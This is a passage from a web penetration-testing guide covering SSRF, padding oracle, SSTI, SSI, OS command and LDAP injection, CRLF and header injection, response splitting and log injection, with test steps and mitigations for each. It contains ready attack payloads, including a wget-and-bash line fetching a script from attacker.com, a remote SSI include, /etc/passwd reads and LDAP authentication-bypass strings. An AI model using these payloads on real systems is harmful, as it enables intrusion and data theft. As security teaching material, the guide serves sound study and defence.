- http://169.254.169.254/latest/meta-data/

Blind SSRF:

Steps 1: Generate a Burp Collaborator URL:

- Open Burp Suite and go to the **Burp Collaborator** tab.
- Click on **Copy to Clipboard** to generate a unique Collaborator URL (e.g., http://<unique>.burpcollaborator.net).

Steps 2: Insert Collaborator URL into SSRF-Susceptible Parameters:

- Look for parameters that may trigger server requests, such as url, endpoint, webhook, or redirect
- http://example.com/?url=http://<unique>.burpcollaborator.net

Steps 3: Send the Request:

- Send the modified request and monitor the **Collaborator** tab in Burp Suite for any incoming interactions.
- If you see a request to the Collaborator, it confirms that the server is making an external request, indicating an SSRF vulnerability.

Out of Band SSRF

OOB SSRF occurs when a server-side application fetches a resource from an external server, and the interaction isn't reflected directly in the application's response. Instead, it is observable via **external monitoring services** such as DNS or HTTP logs. This type of SSRF is particularly useful for detecting vulnerabilities when no immediate feedback is visible in the application.

How to Test:

Step 1: Identifying SSRF Injection Points

Search for user-supplied inputs that accept URLs, hostnames, or endpoints:

URL Parameters: GET /api?url=http://example.com/image.png HTTP/1.1

Headers: Referer, or **Host and other headers**

Add HTTP Headers: X-Forwarded-For, , X-Client-IP, and other headers can add

POST/PUT Requests: JSON/XML payloads containing URLs.

```
{     "redirect_url": http://example.com     }
```

Step 2: Inject payloads

- Replace the parameter value or input Burp Collaborator url (for e.g... **http://xyz.burpcollaborator.net**)
- **In Burp Collaborator,** click **Poll Now** to check for DNS/HTTP interactions.

SSRF Mitigations

- **Confirm** the source IP and request details to analyze the SSRF impact.

Step 3: Another ways: Interact with external service (Attacker Own Server for e.g... **Interacts Client**)

- Inject the Interactsh-generated payload into the target parameter or input field.
- Example: `GET /api?url=http://ct30h305c4anpkqh1ii0zulqgbpubzmga.oast.pro HTTP/1.1`
- **Observe the response:** Once the request is sent, go to the **Interactsh tab** in Burp Suite and monitor incoming OOB interactions.
    - **For DNS: Timestamp:** 2024-11-26 12:00:00 UTC **Interaction Type:** DNS **Query:** oob-test.<your-interactsh-domain> **Source IP:** 203.0.113.5
    - For HTTP: **Timestamp:** 2024-11-26 12:01:00 UTC **Interaction Type:** HTTP **Request:** GET / HTTP/1.1 **Host:** oob-test.<your-interactsh-domain> **User-Agent:** curl/7.68.0 **Source IP:** 203.0.113.10
- This log confirms that the vulnerable server attempted to resolve the domain.

Cross-Site Port Attack

Cross-Site Port Attack (CSPA) is an exploitation technique where an attacker abuses a server-side capability, such as Server-Side Request Forgery (SSRF), to scan internal or external ports or interact with services that are typically inaccessible to the attacker.

This attack takes advantage of a vulnerable web application's ability to make network requests to specified resources. By manipulating these requests, an attacker can enumerate services, probe open ports, and sometimes interact with sensitive internal systems.

How to test:

Step 1: Perform Port Scanning using Nmap:

- **Basic Port Scan:**
    - `nmap target.com` // By default nmap scan top 1000 port if not mention
- **Scan specific ports:**
    - `nmap -p 22,80,443,3306,53 target.com`
- **Scan all 65,535 port:**
    - `nmap -p- target.com`

Step 2: Identify URL Endpoint:

- A web application has an endpoint that accepts a user-supplied URL or domain.
    - `https://vulnerable-site.com/fetch?url=`
- **Manipulated Request**: A malicious user modifies the request to target internal or external services by supplying an IP address or domain with specific ports.
    - `https://vulnerable-site.com/fetch?url=http://127.0.0.1:22`

Step 3: Directly manipulate URL parameter using CURL tool:

- `curl -X GET "https://vulnerable-site.com/fetch?url=http://127.0.0.1:22"`
- `curl -X GET "https://vulnerable-site.com/fetch?url=http://192.168.1.1:3306"`

SSRF to External System

This type of Server-Side Request Forgery (SSRF) vulnerability to interact with systems outside the network of the vulnerable application. This vulnerability allows an attacker to trick a server into making arbitrary requests, often to external domains or services.

Purpose of Exploiting SSRF to External Systems

- **Exfiltration**: Extract data from the vulnerable application.
- **Enumeration**: Identify open ports and services on external systems.
- **Pivoting**: Use the server as a proxy to launch attacks.
- **Access Restricted APIs**: Exploit trust relationships with external systems.

How to test:

Step 1: Intercept the Request of application:

- Capture the HTTP request to the target endpoint.

GET /api/proxy?url=http://example.com HTTP/1.1
Host: target-app.com

- **Modify the URL Parameter:** Replace the URL with: Attacker controlled domain (e.g., **http://attacker-server.com**).
- A DNS-based detection service using burp collaborator (e.g., **http://<unique-id>.burpcollaborator.net**).
- Observe response:
    - Look for successful responses (200 OK) or errors indicating the request was processed
    - Check the Burp Collaborator tab for interactions.

Step 2: External System test Using cURL

- Directly manipulate requests to test if the application can reach external systems.
- Send a Basic Request: Test the SSRF endpoint with a known external system:
    - curl -X GET "https://target-app.com/api/proxy?url=http://example.com"
- Replace with Attacker URL: curl -X GET "https://target-app.com/api/proxy?url=http://attacker-server.com"

Analyze the Response:

- Successful requests will return data from the external system.
- Use your server logs to confirm that the request originated from the target application.

Step 3: Port Scanning:

Test specific ports on an external IP:

- curl -X GET https://target-app.com/api/proxy?url=http://192.0.2.1:80
- curl -X GET "https://target-app.com/api/proxy?url=http://192.0.2.1:443"

Protocol Smuggling SSRF

Protocol Smuggling SSRF occurs when an attacker leverages inconsistencies in how different layers of an application (such as web servers, proxies, or backend systems) interpret and process protocol or URL schemes. The goal is to bypass filters or restrictions that prevent direct SSRF (Server-Side Request Forgery) attacks, allowing access to internal systems or services.

How to test:

Step 1: Identify URL Endpoint:

- Test common protocol manipulation techniques such as encoding, or chaining protocols.
    - GET /api/proxy?url=http://127.0.0.1:80@evil.com
- This type of payload could bypass a simple domain allowlist and target 127.0.0.1

Step 2: Try Non-HTTP Protocols (Gopher, FTP, File, etc.)

- Test using less common protocols like gopher://, ftp://, file://, etc.
    - GET /api/proxy?url=gopher://127.0.0.1:6379/_
    - GET /api/proxy?url=ftp://127.0.0.1/etc/passwd
    - GET /api/proxy?url=file:///etc/hosts
    - GET /api/proxy?url=ftp://127.0.0.1/etc/passwd HTTP/1.1
- Check for Responses with Sensitive Data
    - If the server returns sensitive information (e.g., file content, Redis output), it's likely vulnerable.

Step 3: Use cURL to send requests with manipulated protocols:

- curl "http://vulnerable-app.com/api/proxy?url=http://127.0.0.1:80@evil.com"
- curl "http://vulnerable-app.com/api/proxy?url=gopher://127.0.0.1:6379/_"
- curl "http://vulnerable-app.com/api/proxy?url=ftp://127.0.0.1/etc/passwd"

SSRF Mitigations

17. Padding Oracle Attack

A Padding Oracle Attack is a cryptographic attack that exploits how padding errors are handled in block cipher encryption, specifically in CBC (Cipher Block Chaining) mode, to gradually reveal the plaintext of encrypted messages. The attack works by manipulating encrypted data and interpreting the server's response to infer whether the data was padded

correctly. This information can be leveraged to decrypt or even tamper with encrypted messages without needing the decryption key.

Cipher

A **cipher** is an algorithm used to perform encryption or decryption — essentially, it's a way of transforming readable data (plaintext) into unreadable data (ciphertext) to protect its confidentiality.

- **Types of Ciphers**:
  - **Symmetric Ciphers** (like AES, DES): Use the same key for both encryption and decryption.
  - **Asymmetric Ciphers** (like RSA): Use a pair of public and private keys for encryption and decryption.

CBC (Cipher Block Chaining)

Cipher Block Chaining (CBC) is a mode of operation for block ciphers, commonly used in symmetric encryption algorithms such as AES (Advanced Encryption Standard) and DES (Data Encryption Standard). CBC mode is designed to make encrypted data more secure by combining each block of plaintext with the previous block of ciphertext, which introduces a level of dependency between blocks and adds additional security.

PKCS#7 Padding

PKCS#7 is a common padding scheme used in block cipher encryption to ensure each block is filled to the correct length.

- **How PKCS#7 Padding Works**:
  - Each padding byte has a value equal to the number of padding bytes added. For example:
    - If 2 bytes are needed, the padding would be 0x02 0x02.
    - If 5 bytes are needed, the padding would be 0x05 0x05 0x05 0x05 0x05.
  - If the plaintext length is already a multiple of the block size, a full block of padding (e.g., 0x10 repeated 16 times for AES) is added.
- **Padding Removal**: During decryption, the algorithm checks the padding at the end of the decrypted message and removes it based on the padding value.

Padding

Padding is used in encryption to ensure that plaintext data fits the block size required by the encryption algorithm.

- Block ciphers require input data to be of a fixed length. For example, AES has a block size of 16 bytes (128 bits).
- If the plaintext length isn't a perfect multiple of the block size, padding is added to the plaintext to fill the last block.
- **Example**: If a message is 30 bytes and the block size is 16 bytes, 2 bytes of padding will be added to reach 32 bytes (two 16-byte blocks).

Oracle in Cryptography

oracle is any system, function, or process that provides information or responses that can be used to gain insights into otherwise hidden data, like an encryption key or the contents of an encrypted message. An oracle often responds to specific types of inputs in a way that leaks clues about the cryptographic process, such as whether a decryption step succeeded or failed.

How to test it:

Steps 1: Intercept a Request in Burp Suite:

- Open Burp Suite and enable the Intercept feature in the Proxy tab.
- Navigate to the web application and log in to capture an authenticated request containing the session token or cookie. While filled username & password.

Steps 2: Identify the Encrypted Token:

- Look for the session token or cookie in the HTTP headers or the request body.
- The encrypted token might look like a base64-encoded string, such as **cookie=Y2lwaGVydGV4dAo=**.
- Copy this value as you'll use it in later steps.

Steps 3: Download and Install PadBuster:

Use the following command format to test the padding vulnerability:

Command Examples:

```
padBuster <URL> <Encrypted_Cookie> <Block_Size> -cookie "SessionToken=<Encrypted_Cookie>"
```

```
padBuster http://example.com/page "Y2lwaGVydGV4dAo=" 8 -cookie "SessionToken=Y2lwaGVydGV4dAo="
```

Mitigations:

- **Use Authenticated Encryption**: Switch to **Authenticated Encryption with Associated Data (AEAD)** modes like **AES-GCM** or **AES-CCM** which combine encryption with integrity, eliminating padding issues.
- **Encrypt-then-MAC**: Apply a MAC after encryption to ensure data integrity. Verify the MAC before decryption to prevent tampering.
- **Consistent Error Responses**: Use generic error messages and ensure uniform response times for all decryption errors to avoid revealing padding issues.
- **Secure Padding and Validation**: If padding is necessary (e.g., PKCS#7), validate carefully without exposing padding-related errors.
- **Rely on Reliable Libraries**: Use up-to-date cryptographic libraries like OpenSSL or libsodium to avoid vulnerabilities from outdated implementations.
- **Secure Tokens and Cookies**: Protect session tokens with secure encryption, HTTP attributes, and HTTPS to prevent exposure.

18. Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is dynamically injected into a server-side template without proper validation or sanitization. This allows attackers to inject malicious code, which the server then interprets and executes as part of the template, potentially leading to code execution and full server compromise.

How SSTI Works:

Server-side templating engines (such as Jinja2 for Python, Twig for PHP, or Velocity for Java) allow developers to render dynamic content by embedding variables and logic within templates. However, if user input is directly integrated into these templates without sanitization, attackers can inject their own expressions or commands, which the server then interprets as part of the template.

Template Engine:

A template engine is a tool or framework that helps separate the presentation layer (such as HTML, email content, or text files) from the business logic in applications. It allows developers to create templates with placeholders for dynamic data, which the engine then fills with actual data at runtime to generate the final output.

How to test it:

Step 1: General process

Locate Potential Inputs: Identify **form fields**, **query parameters**, **headers**, and other places where user-controlled data is used **(user profile like edit user profile, change user name, password, etc**).

Step 2: Inject payload: for Python (Flask/Jinja2)

Inject {{7*7}} to see if it evaluates to 49 (indicating a Jinja2 environment)

Step 3: Inject payload: for PHP (e.g., Twig, Smarty)

- Twig Detection: Inject **{{7*7}}** to see if it outputs **49**.
- Smarty Detection: Inject **{7*7}** to check for **49**.

Step 4: Inject payload: for Java (e.g., Apache Velocity, FreeMarker)

- Velocity Detection: Try #set($a=7*7) $a to see if it returns 49.
- FreeMarker Detection: Inject ${7*7} to check for 49.

Step 5: Inject payload: for Node.js (e.g., EJS, Handlebars)

- EJS Detection: <%= 7 * 7 %> should output 49 if EJS is in use.
- Handlebars Detection: {{ 7 * 7 }} might output 49.

Step 6: Inject payload: for ASP.NET (Razor Syntax)

- @{ var a = 7 * 7; } @a should output 49.

SSTI Mitigations:

- Use Input Validation and Sanitization:
  - **Whitelist Allowed Inputs**: Only allow specific values, formats, or types for user inputs.
  - **Escape User-Generated Content**: Use built-in methods provided by the template engine to escape user input.
  - **Disable Dangerous Syntax:** Where possible, restrict or disable expressions (e.g., {{ }}) or special syntax
- Avoid Directly Embedding User Input in Templates
  - Separate User Input from Templates
  - Use Context-Aware Escaping
- Restrict Template Engine Capabilities
- Use Safe Templating Engines and Configurations
- Enforce Strong Access Controls and Principle of Least Privilege
- Implement Security Headers

19. Server Side Include Injection (SSI Injection)

Server-Side Includes (SSI) Injection is a vulnerability where an attacker is able to inject malicious SSI commands into user-controlled inputs, which the server may then execute. SSI is a feature used by web servers to dynamically generate content, such as executing shell commands or including external files in web pages. If these inputs are not properly sanitized, attackers can manipulate them to execute unauthorized commands or access sensitive files on the server.

How to test it:

Step 1: Intercept the Request:

Use Burp Suite's Proxy to intercept HTTP requests where user input is included, such as **query parameters**, **form data**, or **URL paths**.

Inject SSI Payloads: Identify places where user input is reflected in the response (e.g., in URLs, form fields, or HTTP headers).

- <!--#exec cmd="ls"-->
- <!--#include file="/etc/passwd"-->

Example of an injected payload in a URL parameter:

`http://example.com/index.html?name=<!--#exec cmd="ls"-->`

Example for injecting in a form field:

```
<input type="text" name="username" value="<!--#exec cmd='ls'-->">
```

Step 2: Manual Testing:

Identify Input Points:

- Look for **form fields**, **URL parameters**, or other places where user input is reflected back in the page's content. Common places include **search bars**, **contact forms**, or **URL parameters**.

Inject SSI Payloads:

- **For GET requests (URL parameters), try injecting:**

  `http://example.com/page.html?input=<!--#exec cmd="id"-->`

For POST requests (form inputs), try injecting:

```
<input type="text" name="input" value="<!--#exec cmd='id'-->">
```

Common payloads examples:

Command Execution:

- <!--#exec cmd="id"--> – Executes the id command to get the user identity on the server.
- <!--#exec cmd="ls /"--> – Lists the contents of the root directory.
- <!--#exec cmd="cat /etc/passwd"--> – Tries to display contents of the password file.

File Inclusion:

- <!--#include file="/etc/passwd"--> – Attempts to include a sensitive file.
- <!--#include file="http://attacker.com/malicious_script"--> – Attempts Remote File Inclusion (RFI) to include a malicious external file.

Echoing Output:

- <!--#echo var="HTTP_USER_AGENT"--> – Echoes the value of the User-Agent header.

Difference between SSRF, SSTI & SSI Injection

Aspect	SSRF	SSTI	SSI Injection
Definition	Exploits a server to make unauthorized requests on behalf of the attacker.	Injects malicious templates to execute unintended server-side code.	Injects malicious SSI commands to execute commands or include files on the server.
Target	Web server makes requests to internal or external resources.	Template engine processes injected user data as code.	Web server processes malicious SSI commands embedded in user input.
Vulnerable Components	Server-side code that processes URLs, HTTP requests, and outbound connections.	Templating engines (e.g., Jinja2, Velocity) that allow code execution.	Web servers with SSI processing enabled (e.g., Apache, Nginx).
Exploitation	Redirects the server to internal or external services, potentially accessing sensitive data.	Executes arbitrary code or includes sensitive files via template injections.	Executes shell commands or includes files from the server, potentially exposing data.
Impact	Access to internal services, data leaks, remote code execution via server.	Remote code execution, information disclosure, file inclusion.	Command execution, file inclusion, information disclosure.

SSI Injection Mitigations:

- **Disable SSI:** Turn off SSI processing if not needed.
- **Input Validation**: Sanitize and validate user inputs to prevent malicious characters.
- **Escape Special Characters:** Escape characters like #, <, and > in user inputs.
- **Avoid Command Execution:** Never pass user input directly to system commands via SSI.
- **Use Web Application Firewalls (WAF**): Block malicious SSI payloads.
- **Least Privilege:** Run the server with minimal permissions to limit potential damage.

20. Remote Code Execution (RCE)

Remote Code Execution (RCE) is a security vulnerability that allows an attacker to run arbitrary commands or code on a remote server or system. This can lead to full control over the vulnerable system, potentially resulting in data breaches, system compromise, or widespread attacks within the network.

How RCE Works:

RCE typically occurs when user input is improperly validated or sanitized, and that input is executed on the server without proper controls. The input can be injected into commands, scripts, or applications running on the server, allowing attackers to execute arbitrary code.

Common RCE Vectors:

- **Command injection:** Attackers inject commands that are executed by the server's shell.
- **File upload vulnerabilities:** Malicious files uploaded to the server may execute code if not properly sanitized.
- **Deserialization vulnerabilities:** Malicious input leads to code execution when deserialized.
- **Template injection (e.g., SSTI):** Injected code is executed through template engines.
- **Remote file inclusion:** Includes and executes remote files.

RCE Mitigations:

- **Input Validation:** Strictly validate and sanitize all user inputs to prevent execution of shell commands or unexpected behavior.
- **Use Safe APIs:** Avoid using functions like os.system(), eval(), or exec() with user input. Prefer safer alternatives.
- **Whitelisting:** Allow only known safe commands and restrict user inputs to predefined values.
- **File Upload Restrictions:** Limit the types of files that can be uploaded, and ensure they are scanned for malicious content.
- **Least Privilege:** Run web servers with minimal privileges to reduce the impact of a successful RCE attack.
- **Escaping User Input:** Ensure user input is properly escaped and does not interfere with system commands.
- **Web Application Firewall (WAF):** Use a WAF to detect and block common RCE payloads.

21. OS Command Injection

OS Command Injection is a type of vulnerability that allows an attacker to execute arbitrary operating system commands on the server running the application. This typically occurs when an application improperly passes user input to system-level commands, like os.system(), exec(), or shell execution functions without proper sanitization.

How to test it:

Step 1: Intercept the Request:

- Use Burp Proxy to intercept and capture HTTP requests from the application.
- Look for places where user input is passed to system-level commands (e.g., in **query parameters, form fields**, or **HTTP headers**).
    - http://example.com/?name=test**; ls**
    - http://example.com/?name=test**; whoami**
    - http://example.com/?name=test**&&id**

Step 2: Analyze Responses:

- After sending requests with payloads, inspect the response for signs of command execution, such as output from the injected commands (e.g., directory listings, user information).

Step 3: Use Intruder for Brute-Force Testing:

- Use Burp Intruder to automate testing of multiple payloads across different input fields.

Manual Testing:

Identify Input Points:

- Find input fields or parameters in the application where user input might be passed to a system command, such as search boxes, file upload fields, or URL parameters.
- Look for input fields that take input that could influence shell commands or system scripts.
- **Example 1 (Injecting into a URL):**
    - http://example.com/?name=admin; ls
- **Example 2 (Injecting into a form field):**
    - <input type="text" name="search" value="test; ls">
- **Example 3 (Injecting into a file upload script):**
    - /var/www/uploads/malicious.php; ls

Common Payloads Examples:

- **; ls** – To list the contents of the current directory (Linux/Unix).
- **; whoami** – To get the current user (Linux/Unix).
- **| id** – To get the current user identity (Linux/Unix).
- **& echo test** – To execute a command after the original one.

- **|| echo "test"** – Using logical OR to inject a command.
- **&& echo "test"** – Using logical AND to inject a command.
- **$(whoami)** – Command substitution to execute a command.
- **; wget http://attacker.com/malicious.sh -O /tmp/malicious.sh; bash /tmp/malicious.sh** – To download and execute a malicious script.

OS Command Injection Mitigations:

- **Input Validation:** Only allow a strict whitelist of acceptable input characters (e.g., alphanumeric) and reject any special characters like ;, |, &, or $(...).
- **Use Safe APIs:** Avoid functions like **system(), exec(),** or **shell_exec().** Use safer alternatives (e.g., parameterized APIs or libraries).
- **Escape User Inputs:** Properly escape special characters in user inputs to prevent them from being interpreted as part of a system command.
- **Least Privilege:** Run the application with minimal system permissions to limit the impact of any potential attack.
- **Command Whitelisting:** If only specific commands are required, use a predefined list and validate user input against it.
- **Web Application Firewall (WAF):** Use a WAF to filter and block common OS command injection attack patterns.

22. LDAP Injection

LDAP (Lightweight Directory Access Protocol) Injection is a type of security vulnerability that occurs when an attacker manipulates or modifies LDAP queries to execute arbitrary commands or access unauthorized data on the server. It often arises due to improper input validation in applications that construct LDAP queries based on user input. LDAP Injection can lead to unauthorized access, information disclosure, or other potentially harmful results, especially in environments using LDAP for authentication and directory services.

Commonly Use LDAP:

LDAP is commonly integrated into applications that need centralized authentication, user directory access, or authorization management.

Enterprise and Corporate Applications

- **Single Sign-On (SSO) Systems**: LDAP is used to authenticate users across multiple applications with a single set of credentials.
- **Identity and Access Management (IAM)**: Applications like Okta, Microsoft Active Directory, and OpenLDAP use LDAP to manage user identities, roles, and permissions across an organization.
- **Employee Directory Services**: Many organizations maintain employee directories with LDAP for searching and retrieving user profiles, organizational structures, and contact details.

Web Applications

- **Content Management Systems (CMS):** Some CMS platforms integrate with LDAP to allow user authentication and permission management based on directory roles.
- **E-commerce Platforms:** LDAP can centralize user profiles and streamline authentication, especially in multi-store environments.
- **Portals and Intranet Applications:** These applications often use LDAP for authentication and to manage user permissions across internal resources.

Application Development Environments

- **Development Frameworks and Middleware:** Some frameworks (e.g., Spring Security in Java) provide built-in LDAP support for authenticating users in custom applications.
- **Custom Enterprise Applications:** Large enterprises may develop custom apps that connect to LDAP directories for authentication, authorization, or user profile access.

How to test it:

Step 1: Capture and Modify Requests:

- Intercept the login or search request with Burp Suite and identify fields that take user input and interact with LDAP.
- Send the request to Repeater and try injecting payloads into the input fields to test for LDAP injection.
- Inject payloads: **Username:** `*)(|(userPassword=*))` **Password:** `any_password`

Step 2: Automate with Burp Intruder

- Configure Intruder to test multiple payloads automatically
- Set the payload position to the parameter **(e.g., username or password)** by marking it in the request.
- Use a list of common LDAP injection payloads, such as:
  - *
  - admin*
  - *)(|(userPassword=*))
  - admin)(|(userPassword=*))

Step 3: Analyze the Inputs

- Identify fields such as username, password, or search parameters, especially those that interact with the LDAP server.

Step 4: Input Malicious Payloads Manually

Inject special characters to see how the application reacts. Common characters include ***,), |, &.**

Example payloads:

- **admin*** (wildcard for matching any user with "admin")
- ***)(|(uid=*))** (bypasses the username check by adding an OR condition that matches any user)
- **admin)(|(password**=*)) (may bypass password check by matching any password)

Step 5: Observe Responses

- Look for changes in the response, such as authentication bypass, unexpected data retrieval, or error messages that reveal the LDAP query structure.

LDAP Injection Mitigations:

- **Input Validation**: Strictly validate and sanitize user inputs, especially in fields that interact with LDAP. Restrict special characters like *,), (, |, and & which can manipulate query logic.
- **Parameterized Queries**: Use parameterized LDAP queries or prepared statements that bind variables, preventing direct insertion of user input into the query structure.
- **Escape Special Characters**: Properly escape characters before adding them to LDAP queries, particularly when parameterized queries aren't feasible.
- **Use Least Privilege**: Limit LDAP account permissions to prevent unnecessary data exposure in case of a successful injection.
- **Implement Strong Authentication and Session Management Controls**
  - **Rate Limiting and Account Lockout:** Implement rate limiting and account lockout mechanisms to prevent brute-force and repeated injection attempts.
  - **Multi-Factor Authentication (MFA):** Use MFA where possible to add another layer of defense against unauthorized access even if LDAP injection occurs.
- **Error Handling**: Avoid detailed error messages that expose LDAP query structure or sensitive information.
- **Use Security Headers and Network Security Measures**
  - **Content Security Policies (CSP):** Protect application interfaces with CSP headers to limit where resources can be loaded from, mitigating risks if an attacker manages to inject payloads.
  - **Network Segmentation:** Segregate LDAP servers in secure network zones to reduce exposure, ensuring that only authorized applications and services can interact with the LDAP server.

23. CRLF Injection

CRLF (Carriage Return Line Feed) Injection is a vulnerability that occurs when an application does not properly sanitize user input, allowing an attacker to inject CR (\r, or %0D) and LF (\n, or %0A) characters. This injection can manipulate the structure of HTTP responses, enabling attacks such as HTTP Response Splitting, header injection, and log injection.

How CRLF Injection Works

CRLF characters signify the end of a line and are used to separate headers and content in HTTP responses. In CRLF injection, an attacker introduces \r\n characters to create new headers or alter HTTP response contents.

How to test it:

Step 1: Intercept and Modify Requests:

- Use Burp Suite's Proxy to capture HTTP requests. Inject **%0D%0A** into URL parameters or headers and observe the server's response.

Step 2: Automate with Intruder:

- Configure Intruder to send multiple CRLF payloads across all input points.
  - %0D%0ASet-Cookie:%20test_cookie=test
  - %0D%0ALocation:%20https://evil.com

Step 3: Check Response Splitting:

- Look at responses for additional headers or HTTP response changes caused by injected line breaks.

Manual Testing

Step 4: Inject CRLF Characters:

- Manually add **%0D%0A** in URL parameters, form fields, or headers.
  - https://example.com/page?redirect=%0D%0ALocation:%20https://malicious-site.com
- **Inspect the Server Response:** Check for unexpected headers, cookies, or manipulated HTML in the response.

Step 5: Automated Tools for CRLF Injection

- Use Nuclei templates to automate CRLF checks.
  - nuclei -u https://example.com -t crlf-injection.yaml

CRLF Injection Mitigations:

- **Validate and sanitize user input:**
  - **Sanitize User Input**: Remove or encode CR (\r or %0D) and LF (\n or %0A) characters from user-controlled input
  - **Use Whitelisting**: Allow only expected, safe characters in fields, especially in URL parameters, headers, or form inputs. For example, if a parameter expects a URL, validate it against a URL pattern.
  - **Reject Dangerous Input**: Implement validation logic that automatically rejects inputs with suspicious characters if they're not strictly necessary for the application.
  - **Contextual Encoding**: Encode user input based on the context.
- **Implement HTTP Security Header Protection:**
  - **Set Security Headers**: Use headers like X-Content-Type-Options: nosniff, X-XSS-Protection, and Content-Security-Policy to add additional layers of security.
- **Implement URL Encoding for Redirects**
  - **Safe Redirect Mechanisms:** Use URL encoding for user-supplied redirect URLs and validate redirects to ensure they remain within allowed domains. Avoid accepting open redirects, which can be exploited for CRLF attacks if unencoded.
- **Use Updated Security Libraries and Frameworks**
- **Implement Web Application Firewall (WAF)**

24. Header Injection

Header Injection is a security vulnerability that occurs when an application includes unsanitized user input in HTTP headers. This allows an attacker to manipulate headers, potentially injecting malicious content or controlling the structure of an HTTP response. Header injection can lead to attacks like HTTP Response Splitting, Cross-Site Scripting (XSS), and cache poisoning.

How Header Injection Works

HTTP headers are structured as key-value pairs, with each header separated by a line break (\r\n). Header injection occurs when an attacker includes special characters such as \r (carriage return) and \n (line feed) in an HTTP header field. If an application doesn't properly sanitize user inputs, these characters can create new headers or alter the response.

Example: https://example.com/page?username=attacker%0D%0AX-Injected-Header:%20evil_content

How to test it:

Imagine an application that sets a custom header based on user input:

Example:

```
HTTP/1.1 200 OK
Content-Type: text/html
X-User: <user-input>

<html>...</html>
```

If an attacker inputs %0D%0AX-Injected-Header:%20evil_content, the response may look like this:

```
HTTP/1.1 200 OK
Content-Type: text/html
X-User: attacker
X-Injected-Header: evil_content

<html>...</html>
```

Payloads examples:

- %0D%0ASet-Cookie: test_cookie=evil
- %0D%0AX-Injected-Header: injected_value
- %0D%0AContent-Length: 0
- %0D%0ALocation: https://attacker.com

Header Injection Mitigations:

- **Validate and Sanitize Input**: Remove or encode CR (\r) and LF (\n) characters from user-controlled inputs.
- **Contextual Encoding**: Properly encode inputs used in headers to avoid unintended line breaks.
- **Use Secure Libraries**: Leverage trusted, updated libraries and frameworks to handle headers safely.
- **Set Security Headers**: Implement headers like X-Content-Type-Options and Content-Security-Policy for added protection.
- **Validate Redirect URLs**: Sanitize and validate redirect URLs, restricting them to approved domains.
- **Secure Logging**: Sanitize logged data to prevent log injection and set alerts for suspicious patterns.
- **Enable WAF**: Configure a Web Application Firewall to detect and block header injection attempts.

25. Http Response Splitting

HTTP Response Splitting is a vulnerability that occurs when an attacker can insert Carriage Return **(\r or %0D)** and Line Feed **(\n or %0A)** characters into an HTTP header due to insufficient input validation. This manipulation allows the attacker to "split" an HTTP response into two parts: the legitimate response and a second, injected response. This can lead to security risks like cache poisoning, cross-site scripting (XSS), or redirection to malicious sites.

How HTTP Response Splitting Works

In HTTP responses, headers are separated from the body by a blank line, which is represented by the sequence \r\n\r\n. By injecting additional CRLF characters, an attacker can create a new response header section and potentially add a new HTTP response.

How to test it:

Step 1: HTTP Response Splitting to Inject a Cookie

Attack payload in request:

```
GET /page?username=admin HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0%0D%0ASet-Cookie:session=malicious_cookie%0D%0A
X-Requested-With: XMLHttpRequest
Referer: https://example.com/page
Cookie: PHPSESSID=abcd1234
```

Expected Response:

```
HTTP/1.1 200 OK
Content-Type: text/html
X-Header: value
Set-Cookie: session=malicious_cookie

<html>... legitimate content ...</html>
```

In this response, a new Set-Cookie header has been injected, potentially compromising the user's session or adding a malicious cookie to track them.

Step 2: Injecting a Redirect via Location Header

Attack payload in request:

```
GET /page?redirect_url=https://trusted.com%0D%0ALocation: https://malicious.com HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
X-Requested-With: XMLHttpRequest
Referer: https://example.com/page
Cookie: PHPSESSID=abcd1234
```

Expected Response:

```
HTTP/1.1 200 OK
Content-Type: text/html
Location: https://trusted.com
Location: https://malicious.com
Content-Length: 113

<html>... legitimate content ...</html>
```

Step 3: Injecting an XSS Payload

Attack payload in request:

```
GET /page?user_input=admin HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
X-Requested-With: XMLHttpRequest
Referer: https://example.com/page
Cookie: PHPSESSID=abcd1234
Content-Type: text/html%0D%0A%0D%0A<script>alert('XSS')</script>
```

Expected Response

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 113

<html>... legitimate content ...</html>
<script>alert('XSS')</script>
```

The malicious JavaScript is executed in the browser, triggering the alert with the message 'XSS'.

Response Splitting Mitigations:

- Validate and Sanitize user input
- Use URL encoding or HTML encoding to safely handle user input in headers.
- Properly handle Header Management
- Set HttpOnly and Secure flags on cookies
- Implement Content Security Policy (CSP) headers
- Proper HTTP Status Handling
- Implement Web Application Firewall (WAF)
- Use Safe Framework Functions

26. Log Injection

Log injection occurs when an attacker is able to inject malicious data into an application's log files. Log files are critical for debugging, monitoring, and auditing applications. If an attacker can manipulate these logs, it could lead to several security issues, such as: Bypassing security mechanisms, Log file poisoning, Cross-Site Scripting (XSS) via logs, Denial of Service (DoS).

Types of Log Injection Vulnerabilities

Log Injection via User Inputs: This occurs when user inputs (e.g., form fields, URLs, or headers) are logged without proper sanitization or escaping.

Log Injection through HTTP Headers: Malicious headers can be injected (e.g., User-Agent, Referer, X-Forwarded-For) that will be recorded in the server logs.

How to test it:

Step 1: Identify Loggable Inputs:

- Look for input fields (e.g., search boxes, form submissions) or HTTP headers that the application may log.
- Check areas where the application might record user input (e.g., username, comments, or email fields).

Step 2: Inject Special Characters:

- Inject carriage return (\r), line feed (\n), and other special characters (like %0D and %0A) into the input fields. These characters can break the log formatting and inject new log entries.
  - `username=attacker\r\nInjected-Header: MaliciousData`
  - `username=<script>alert('XSS')</script>`

Step 3: Observe Logs:

- After submitting the input, check the application logs to see if your injected data is being recorded.
- Check for signs of unintended behavior, such as injected headers or malicious code.

Step 4: Look for XSS in Logs:

- If the application renders logs in a web interface (e.g., an admin panel), try injecting HTML or JavaScript into the logs to see if it leads to a reflected XSS attack.

Use Burp suite:

Step 1: Use Burp Suite Proxy to Intercept Requests:

- Capture the HTTP requests of input field of application
- Look for parameters that might be logged, such as **User-Agent**, **Referer**, or **custom HTTP headers**.

Step 2: Modify the Request to Inject Log Payload:

- Inject special characters like \r\n into HTTP headers or URL parameters. Use Burp Repeater to send modified requests and observe server responses.
  - `User-Agent: Mozilla/5.0\r\nInjected-Header: XSSattack`
  - `comment=<script>alert('XSS')</script>`

Step 3: Review Application Logs (if accessible):

- If the logs are accessible via a web interface or endpoint, inspect the logs for any injected payloads.
- Inject a comment like comment=Hello\r\nInjected-Header: MaliciousData, and check if it appears in the logs.

Step 4: Install Burp Suite Extensions (e.g., "Logger++"):

